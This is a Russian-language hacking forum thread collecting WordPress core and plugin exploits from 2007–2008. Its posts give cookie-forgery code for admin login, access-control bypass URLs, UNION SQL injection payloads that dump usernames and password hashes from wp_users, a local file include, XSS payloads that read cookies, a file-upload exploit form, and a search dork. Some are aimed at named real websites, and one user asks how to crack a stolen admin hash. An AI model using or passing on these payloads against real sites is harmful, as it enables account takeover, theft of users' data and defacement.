[ Обзор уязвимостей WordPress ]

Discussion in 'Веб-уязвимости' started by ettee, 5 Oct 2007.

  1. Mr.Jobson

    Mr.Jobson New Member

    Joined:
    9 Aug 2007
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Нигде не встречал описания подобного эксплоита. Решил поделиться, так ради забавы.

    Неавторизированное чтение постов на Wordpress 2.2.0 - 2.3.1
    http://blog.com/?x=wp-admin/
    Показывает все посты предназначенные для администратора, также неопубликованные посты.
    (c) MrJobson
     
    1 person likes this.
  2. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    WordPress 2.5 Cookies Manipulation - Вход по md5() хешу пароля в куках

    WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23

    WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52

    ================================

    Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию

    "wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC

    COOKIEHASH md5 хеш от имени сайта
    USERNAME Имя пользователя
    EXPIRY_TIME Срок жизни cookies до того как они станут невалидными

    HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая
    Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress

    PHP:
    function wp_validate_auth_cookie($cookie '') {
        ........................
        list(
    $username$expiration$hmac) = explode('|'$cookie);
        
    $expired $expiration;
        ........................
        if ( 
    $expired time() )
            return 
    false;
        ........................
        
    $key wp_hash($username $expiration);
        
    $hash hash_hmac('md5'$username $expiration$key);
        ........................
        if ( 
    $hmac != $hash )
            return 
    false;
    }

    function 
    wp_hash($data) {
        
    $salt wp_salt();
        if ( 
    function_exists('hash_hmac') ) {
            return 
    hash_hmac('md5'$data$salt);
        } else {
            return 
    md5($data $salt);
        }
    }
    Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом

    PHP:
    function wp_salt() {
        ........................
        if ( empty(
    $salt) ) {
            
    $salt wp_generate_password();
            
    update_option('secret'$salt);
        }
        ........................
    }

    function 
    wp_generate_password() {
        
    $chars "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        
    $length 7;
        
    $password '';
        for ( 
    $i 0$i $length$i++ )
            
    $password .= substr($charsmt_rand(061), 1);
        return 
    $password;
    }
    Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.

    PHP:
    $hmackey      hash_hmac('md5''admin' '9999999999'$salt);
    $hmacpass     hash_hmac('md5''admin' '9999999999'$hmackey);
    Спасибо +toxa+ и W[4H]LF за потраченное на меня время

     
    #62 Евгений Минаев, 3 Jun 2008
    Last edited by a moderator: 13 Jun 2008
    1 person likes this.
  3. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    Wordpress 2.3.1 - Broken Access Control is_admin()

    Бага: _http://forum.antichat.ru/showpost.php?p=529997&postcount=17

    Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?

    Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :) Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
    -редактировать структуру ссылок (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/options%252dpermalink);
    -активировать и деактивировать плагины (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/plugins);
    -активировать и деактивировать темы оформления (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/themes);
    -просматривать все посты блога (включая черновики) (http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit).
    И многое другое :) Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом.
    З.Ы. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался данной уязвимостью только на винде, на никсах можешь поэксперементировать сам.
     
    #63 devscripts, 3 Jun 2008
    Last edited by a moderator: 13 Jun 2008
    1 person likes this.
  4. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    скуля

    Code:
    http://localhost/[path]/wp-uploadfile.php?f_id=[SQL]
    SQL query:
    Code:
    null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_users/*
     
    1 person likes this.
  5. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    "setup-config.php" intitle"WordPress * Setup"
     
    #65 OptimaPrime, 2 Jul 2008
    Last edited: 2 Jul 2008
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    ====================

    WP <=2.3.2
    SQL-ing big5


    В дополнение к GBK sql-inj, описанной в теме выше.
    Для big5 эксплоит будет выглядеть как

    HTML:
    /index.php?exact=1&sentence=1&s=%a3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23
    ====================

    WP <=2.5.0
    Обход регистрации.


    При импорте блога происходит создание юзеров из гостей с дефолтным паролем "changeme"

    ====================

    WP <=2.3.1
    Broken Access Control is_admin()
    ONLY WINDOWS
    Вы должны быть авторизованы!



    В дополнение к урлам МАГа:

    HTML:
    /?cat=1.php/../../../../wp%252dadmin/options%252dwriting
    Локальный инклуд произвольного файла:
    HTML:
    /?cat=1.php%2F..%2F..%2F..%2F..%2Fwp%252dadmin%2Fplugins&action=error_scrape&plugin=..%5C..%5Cindex.php
    
    ====================
     
  7. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    XSS passive 2.6

    Ticket #7220 (closed defect: fixed)

    Component: Security
    Version: 2.6

    HTML:
    http://localhost/wp/wp-admin/press-this.php/?ajax=video&s=%3C/textarea%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    http://localhost/wp/wp-admin/press-this.php/?ajax=thickbox&i=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
     
  8. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit

    Code:
    <a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
    <h3>SaO</h3>
    <h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
    <i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
        <hr color="#f0f8ff">
        <fieldset name="upl" class="options">
    
        <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
           <table cellspacing="0" cellpadding="3">
             <tr> 
               <td>Local File</td>
             </tr>
             <tr>
               <td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
               <td><input type="submit" name="up" value="Send" class="button" /></td>
             </tr>
           </table>
        </form>
        </fieldset>
    
     
  9. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    WordPress Exploit Scanner

    WordPress Exploit Scanner


    More Info and Download:

    http://ocaoimh.ie/exploit-scanner/
     
    1 person likes this.
  10. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    Уязвимости в FireStats для WordPress

    Full path disclosure:
    Code:
    http://site/wp-content/plugins/firestats/js/firestats.js.php
    http://site/wp-content/plugins/firestats/php/ajax-handler.php?FS_FULL_INSTALLATION=1
    http://site/wp-content/plugins/firestats/php/footer.php
    http://site/wp-content/plugins/firestats/php/page-help.php
    http://site/wp-content/plugins/firestats/php/page-import.php
    http://site/wp-content/plugins/firestats/php/page-settings.php
    http://site/wp-content/plugins/firestats/php/page-stats.php
    http://site/wp-content/plugins/firestats/php/tabbed-pane.php
    http://site/wp-content/plugins/firestats/php/ezsql/mysql/demo.php
    http://site/wp-content/plugins/firestats/php/ezsql/mysql/disk_cache_example.php
    http://site/wp-content/plugins/firestats/php/ip2c/benchmark.php
    http://site/wp-content/plugins/firestats/php/ip2c/ip2c_test.php
    http://site/wp-content/plugins/firestats/php/unzip/sample.php
    Активная ХSS
    В поле UserAgent заголов UA отображается без предворительной фильтрации
     
    2 people like this.
  11. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    | Wordpress Plugin downloadMonitor (id) Remote SQL Injection Vulnerability

    Code:
    http://localhost/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users--
    Author: JIKO

    Demo:

    Code:
    humanum.nl/wp-content/plugins/wp-downloadMonitor/download.php?id=-14/**/union/**/select/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),3,4,5,6/**/from+wp_users--
    ;)
     
    1 person likes this.
  12. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
  13. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    WordPress Simple Tagging Widget suffers from a cross site scripting vulnerability

    Code:
    #################################################################################################
    #
    # WordPress Simple Tagging Widget Cross Site Scripting Vulnerability (XSS)
    #
    # Script: http://wordpress.org/extend/plugins/simple-tagging-widget/
    #
    #################################################################################################
    #
    # Author : kernel_panic
    #
    # Site : www.codebomb.org
    #
    # Mail : [email protected]
    #
    #################################################################################################
    #
    # DORK  : Try to find your own using Google. The vulnerable sites
    # are: www.site.com/?tag=[XSS] or www.site.com/folder/?tag=[XSS]
    #
    #################################################################################################
    EXAMPLE:
    http://site.com/?tag=[XSS]
     
    e.g.: [XSS]: <script>alert(/XSS/)</script> or try to use others
    in order to work
     
    POC:
    http://www.wiggler.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
    http://dialogos.pasok.gr/?tag=%3Cscript%3Ealert(/XSS/)%3C/script%3E
    http://www.programacionweb.net/buscador/?tag=%22%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
     
    ###################################################################################################
    
     
  14. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    Wordpress Forum version 1.7.4 suffers from a cross site scripting vulnerability.

    Code:
    ################################################################ 
    # 
    # Author: FeDeReR and sinner_01 
    # Home  : www.darkc0de.com & www.hacking.ge
    # 
    # Email : [email protected] & [email protected]
    # 
    # Share the c0de! 
    # 
    ################################################################ 
    # 
    # Xss
    # 
    # Soft.Site: http://www.wordpress.com/ 
    # 
    # Dork:Wordpress Forum 1.7.4
    # 
    # Dork 2:Fredrik Fahlstad. Version: 1.7.4.
    # 
    # Xss: http://site.com/path/?forumaction=search
    #  
    # Search: <script>alert(document.cookie)</script>
    # 
    # Xss 2: http://site.com/path/?forumaction=showforum&forum=1
    # 
    # Post a new topic and type: <script>alert(document.cookie)</script>
    # 
    # 
    # 
    # 
    # 
    ################################################################ 
    
     
  15. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
    WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)

    WordPress 2.6.1 SQL Column Truncation Vulnerability (PoC)

    Code:
    in this hack we can remote change admin password, if registration enabled
    ................ 
    6. admin's password changed, but new password will be send to correct admin email ;/
    Предваряя тысячу и один вопрос "какой же пароль админа?" - отвечаю - пасс админа вы не получите согласно пункту 6.
    Западлостроение, не более.
    Source:
    http://www.milw0rm.com/exploits/6397
     
    #75 Fugitif, 8 Sep 2008
    Last edited by a moderator: 8 Sep 2008
  16. Fugitif

    Fugitif Elder - Старейшина

    Joined:
    23 Sep 2007
    Messages:
    407
    Likes Received:
    227
    Reputations:
    42
  17. skivan

    skivan Member

    Joined:
    7 Sep 2006
    Messages:
    13
    Likes Received:
    7
    Reputations:
    8
    А где взять файл createtables.php для генерации таблиц ? Гуглил, но не удачно... :(
     
  18. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Сорри что может не в тему, но у мну такой вопрос - достал адм. пасс(версия движка 2.6.2), он вот в таком виде:
    admin:$P$Byn1t0aJv0ceUbWNBKQ6Z7GOOYd.Qq1
    полазив по тикитам wp я так понял что там идет дополнительное хеширование md5() хеша, еще и с сальтом, есть ли какой нибудь брутер под данный вид хешей?
     
  19. devscripts

    devscripts Elder - Старейшина

    Joined:
    8 May 2007
    Messages:
    131
    Likes Received:
    182
    Reputations:
    134
    >А где взять файл createtables.php для генерации таблиц ? Гуглил, но не удачно...
    самому написать) но тут учти нюанс
    надо 2 файла:
    1. для пыха < 5.2.1
    2. >=5.2.1
    оба выйдут по 120 гиг в среднем
    Дальше. Если радугу лень генерить, то жди работы сплойта. По моим подсчетам, ~10 часов для генерации сида)
    ---
    ИМХО сплойт с такими раскладами бесполезен
     
  20. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    сканер на Питоне

    http://www.darkc0de.com/scanners/wpscan.py